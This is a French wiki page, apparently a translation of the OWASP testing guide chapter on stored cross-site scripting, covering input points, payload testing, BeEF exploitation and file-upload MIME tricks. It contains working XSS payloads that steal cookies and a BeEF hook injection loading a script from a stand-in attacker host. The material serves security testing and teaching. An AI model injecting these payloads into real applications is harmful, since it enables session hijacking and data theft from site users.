dwndoc

User Tools

Site Tools

Trace: • testing_for_stored_cross_site_scripting
hack:testing_for_stored_cross_site_scripting

Table of Contents

testing_guide

Résumé

Le Cross-Site Scripting (XSS) stocké est le type le plus dangereux des Cross Site Scripting. Les applications Web qui permettent aux utilisateurs de stocker des données sont potentiellement exposés à ce type d'attaque. Ce chapitre donne des exemples d'injection des scripts cross site stockés et descénarios d'exploitation connexes.

Description

XSS stocké se produit quand une application web rassemble l'entrée d'un utilisateur qui peut être malicieux, puis stocke cette entrée dans un magasin de données pour une utilisation ultérieure. L'entrée qui est stockée n'est pas correctement filtré. En conséquence, les données malveillantes semblent faire partie du site Web et s'exécutent dans le navigateur de l'utilisateur avec les privilèges de l'application Web. Parce-que cette vulnérabilité implique généralement au moins deux requêtes de l'application, celle-ci peut également être appelée XSS de second ordre ou XSS persistants.

Cette vulnérabilité peut être utilisée pour effectuer un certain nombre d'attaques basées sur le navigateur, y compris:

  • Détournement du navigateur d'un autre utilisateur
  • Capture des informations sensibles visualisées par les utilisateurs d'applications
  • Pseudo dégradation de l'application
  • Scannage de ports d'hôtes internes («interne» en relation avec les utilisateurs de l'application Web)
  • Réaliser des exploits basés sur navigateur
  • D'autres activités malveillantes

Un XSS stocké n'a pas besoin d'un lien malveillant à exploiter. Une exploitation réussie se produit quand un utilisateur visite une page avec un XSS stocké. Les phases suivantes se rapportent à un scénario typique d'une attaque par XSS stocké:

  • L'attaquant stocke un code malveillant dans la page vulnérable
  • Authentifie l'utilisateur dans l'application
  • L'utilisateur visite la page vulnérable
  • Un code malveillant est exécuté par le navigateur de l'utilisateur

Ce type d'attaque peut aussi être exploitée avec les frameworks de navigateurs tels que le BeEEF, XSS proxy et Backframe. Ces frameworks permettent le développement d'exploits JavaScript complexes.

Un XSS stocké est particulièrement dangereux dans des domaines d'application où les utilisateurs avec des privilèges élevés ont accès. Lorsque l'administrateur consulte la page vulnérable, l'attaque est automatiquement exécutée par le navigateur. Cela peut exposer des informations sensibles telles que les jetons d'autorisation de session.

Test boîte noire

Le processus d'identification des vulnérabilités XSS stockées est similaire à la procédure décrite au cours de l'essai pour XSS reflected.

Formulaires de saisie

La première étape consiste à identifier tous les points où l'entrée de l'utilisateur sont stockées dans le back-end, puis affichée par l'application. Des exemples typiques de saisie de l'utilisateur stockées peuvent être trouvés dans:

  • Les pages Utilisateur/Profils: l'application permet à l'utilisateur d'éditer / modifier les détails du profil tels que nom, prénom, pseudo, avatar, image, adresse, etc
  • Panier: l'application permet à l'utilisateur de stocker des articles dans un panier qui peut ensuite être examiné plus tard
  • Gestionnaire de fichiers: application qui permet le téléchargement de fichiers
  • Paramètres / préférences des applications: application qui permet à l'utilisateur de définir des préférences
  • Forum / Message : application qui permet l'échange de messages entre utilisateurs
  • Blog: si l'application de blog permet aux utilisateurs de soumettre des commentaires
  • Logs: si l'application stocke des entrées utilisateurs dans les journaux.

Analyser le code HTML

Une entrée stockée par l'application est normalement utilisé dans les balises HTML, mais elle peut aussi être trouvée dans le cadre du contenu JavaScript. A ce stade, il est fondamental de comprendre si l'entrée est mémorisée et la façon dont elle est positionnée dans le contexte de la page. A la différence de XSS reflected, le testeur devrait également enquêter sur tous les canaux out-of-band par lesquels l'application reçoit et stocke des entrées utilisateurs.

Remarque: Tous les domaines de l'application accessible par les administrateurs devraient être testés pour déterminer la présence de toutes les données soumises par les utilisateurs.

Exemple: données Email stockées dans index2.php

Le code HTML de index2.php où la donnée email se situe: 

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

Dans ce cas, le testeur a besoin de trouver un moyen d'injecter du code en dehors de la balise <input> comme ci-dessous: 

<nowiki><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- /></nowiki>

Tests des XSS stockés

Il s'agit de tester la validation / filtrage des entrées réalisés par les contrôles de l'application. Exemples d'injection de base : 

aaa@aa.com"><script>alert(document.cookie)</script>
 aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Assurez-vous que l'entrée est soumise par l'application. Ceci implique normalement la désactivation de JavaScript si les contrôles de sécurité côté client sont mis en œuvre ou la modification de la requête HTTP avec un proxy web comme WebScarab. Il est également important de tester l'injection même avec les protocoles HTTP GET et POST. Les injections ci-dessus provoquent l'apparition d' une fenêtre pop-up contenant les valeurs de cookie.

Résultat attendu:

Le code HTML résultant de l'injection : 

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

L'entrée est mémorisée et la charge utile XSS est exécutée par le navigateur lors du rechargement de la page. Si l'entrée est échappée par la demande, les testeurs devraient tester l'application de filtres XSS. Par exemple, si la chaîne “SCRIPT” est remplacée par un espace ou par un caractère NULL alors ce pourrait être un signe potentiel de filtrage XSS dans l'action. Il existe plusieurs techniques pour contourner les filtres d'entrée (voir Testing for Reflected Cross Site Scripting). Il est fortement recommandé que les testeurs se référent à XSS Filter Evasion Cheat Sheet qui fournit une longue liste d'attaques XSS et le moyen de contourner le filtrage. Reportez-vous à la section les livres blancs / outils pour des informations plus détaillées.

levier XSS stocké avec du BeEF

Les XSS stockés peuvent être exploitées par des frameworks JavaScript d'exploitation avancés tels que BeEf, XSS Proxy et Backframe . Voyons ce qu'un scénario typique d'exploitation BeEF implique :

L'injection d'un hook JavaScript qui communique avec le framework d'exploitation du navigateur de l'attaquant navigateur(BeEF) Attendre que l'utilisateur demande d'afficher la page vulnérable où l'entrée mémorisée Contrôler le navigateur de l'utilisateur de l'application via la console BeEF Le hook JavaScript peut être injecté en exploitant la vulnérabilité XSS dans l'application Web.

Exemple: Injection BeEF dans index2.php: 

aaa@aa.com”><script src=http://attackersite/hook.js></script>

Lorsque l'utilisateur charge la page de index2.php, les hook.qui est un script est exécuté par le navigateur. Il est alors possible d'accéder aux cookies, capturer l'écran de l'utilisateur, le presse-papiers utilisateur, et lancer des attaques XSS complexes.

Résultat attendu

Cette attaque est particulièrement efficace dans les pages vulnérables qui sont accessibles à de nombreux utilisateurs avec des privilèges différents.

Upload de fichier

Si l'application Web permet l'upload de fichiers, il est important de vérifier s'il est possible de télécharger du contenu HTML. Par exemple, si les fichiers HTML ou TXT sont autorisées, la charge utile XSS peut être injectée dans le fichier téléchargé. Le testeur doit également vérifier si le fichier permet lors du téléchargement la fixation arbitraire des types MIME.

Considérons la requête POST suivante pour l'upload de fichier : 

POST /fileupload.aspx HTTP/1.1
[…]
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain
test

Ce défaut de conception peut être exploité dans le navigateur par des attaques par manipulation de type MIME. Par exemple, des fichiers d'aspect inoffensif tels que JPG et GIF peuvent contenir une charge utile XSS qui est exécutée quand ils sont chargés par le navigateur. Cela est possible lorsque le type MIME pour une image comme image/gif peut au contraire être au format text / html. Dans ce cas, le dossier sera traité par le navigateur client au format HTML.

Demande HTTP POST forgée: 

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>

Il convient de considérer également que Internet Explorer ne gère pas les types MIME de la même manière que Mozilla Firefox ou d'autres navigateurs. Par exemple, Internet Explorer traite les fichiers TXT avec du contenu HTML comme du contenu HTML. Pour plus d'informations sur la manipulation MIME, reportez-vous à la section des livres blancs au bas de ce chapitre.

Test Boîte Grise

Les tests Boîte Grise sont similaires aux tests boîte noire. Dans les tests boîte grise, le testeur a une connaissance partielle de l'application. Dans ce cas, les informations concernant l'entrée des utilisateurs, les contrôles de validation des entrées, et le stockage des données peut être connue par le testeur.

Selon les informations disponibles, il est généralement recommandé que les testeurs vérifient comment la saisie de l'utilisateur est traitée par l'application, puis stockée dans le système back-end.

Les étapes suivantes sont recommandées:

  • Utiliser le frontal d'application et entrer des données avec des caractères spéciaux / invalides
  • Analyser les réponses de l'application
  • Identifier la présence de contrôles de validation d'entrée
  • Vérifier l'accès système back-end et si l'entrée est stockée comment elle est stockée
  • Analyser le code source et comprendre comment l'entrée stockée est rendu par l'application

Si le code source est disponible (White Box), toutes les variables utilisées dans les formulaires de saisie doivent être analysés. En particulier, les langages de programmation tels que PHP, ASP, JSP et faire usage de variables/ fonctions prédéfinies pour stocker les données de HTTP GET et POST.

Le tableau suivant résume certaines variables et fonctions spéciales à étudier lors de l'analyse du code source:

PHP ASP JSP
* $GET - HTTP GET variables * $POST - HTTP POST variables * $REQUEST – http POST, GET and COOKIE variables * $FILES - HTTP variables d'UPLOAD des fichier * Request.QueryString - HTTP GET * Request.Form - HTTP POST * Server.CreateObject - utilisé pour télécharger des fichiers * doGet, doPost servlets - HTTP GET and POST * request.getParameter - HTTP GET/POST variables

Remarque: Le tableau ci-dessus n'est qu'un résumé des paramètres les plus importants, mais, tous les paramètres d'entrée utilisateur doivent t être étudiés.

Références

Ressources OWASP

Livres

  • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
    • Dafydd Stuttard, Marcus Pinto - “The Web Application's Handbook - Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-17077-9
    • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3

Livres blancs

Outils

  • OWASP CAL9000

CAL9000 est une collection d'outils de test de sécurité des applications Web qui complètent l'ensemble des fonctionnalités de proxy Web actuels et des scanners automatisés. Il est hébergé en tant que référence dans http://yehg.net/lab/pr0js/pentest/CAL9000/.

PCE permet d'encoder des textes arbitraires à partir de 65 sortes de jeux de caractères que vous pouvez utiliser dans vos charges utiles personnalisées.

Hackvertor est un outil en ligne qui permet de nombreux types d'encodage et d'obscurcissement de code JavaScript (ou toute autre chaîne d'entrée).

BeEF est un framework d'exploitation navigateur. Un outil professionnel pour démontrer l'impact en temps réel des vulnérabilités du navigateur.

XSS-proxy est un système avancé Cross-Site-Scripting et un outil d'attaque (XSS).

Backframe est une console complète pour exploiter les attaques sur les navigateurs Web, les utilisateurs Web et les applications Web.

  • WebScarab

WebScarab est un framework d'analyse des applications qui communiquent en utilisant le protocole HTTP et HTTPS.

Script Greasemonkey qui permettent aux utilisateurs de tester une application web pour cross-site-scripting.

  • OWASP Zed Attack Proxy (ZAP) – OWASPZedAttackProxyProject

ZAP est un outil facile à utiliser qui intègre des tests de pénétration pour trouver des vulnérabilités dans les applications web. Il est conçu pour être utilisé par des personnes ayant une vaste expérience de la sécurité et en tant que telle est idéal pour les développeurs et les testeurs fonctionnels qui sont nouveaux dans les tests de pénétration. ZAP fournit des scanners automatisés ainsi quun ensemble d'outils qui vous permettent de trouver les failles de sécurité manuellement

hack/testing_for_stored_cross_site_scripting.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1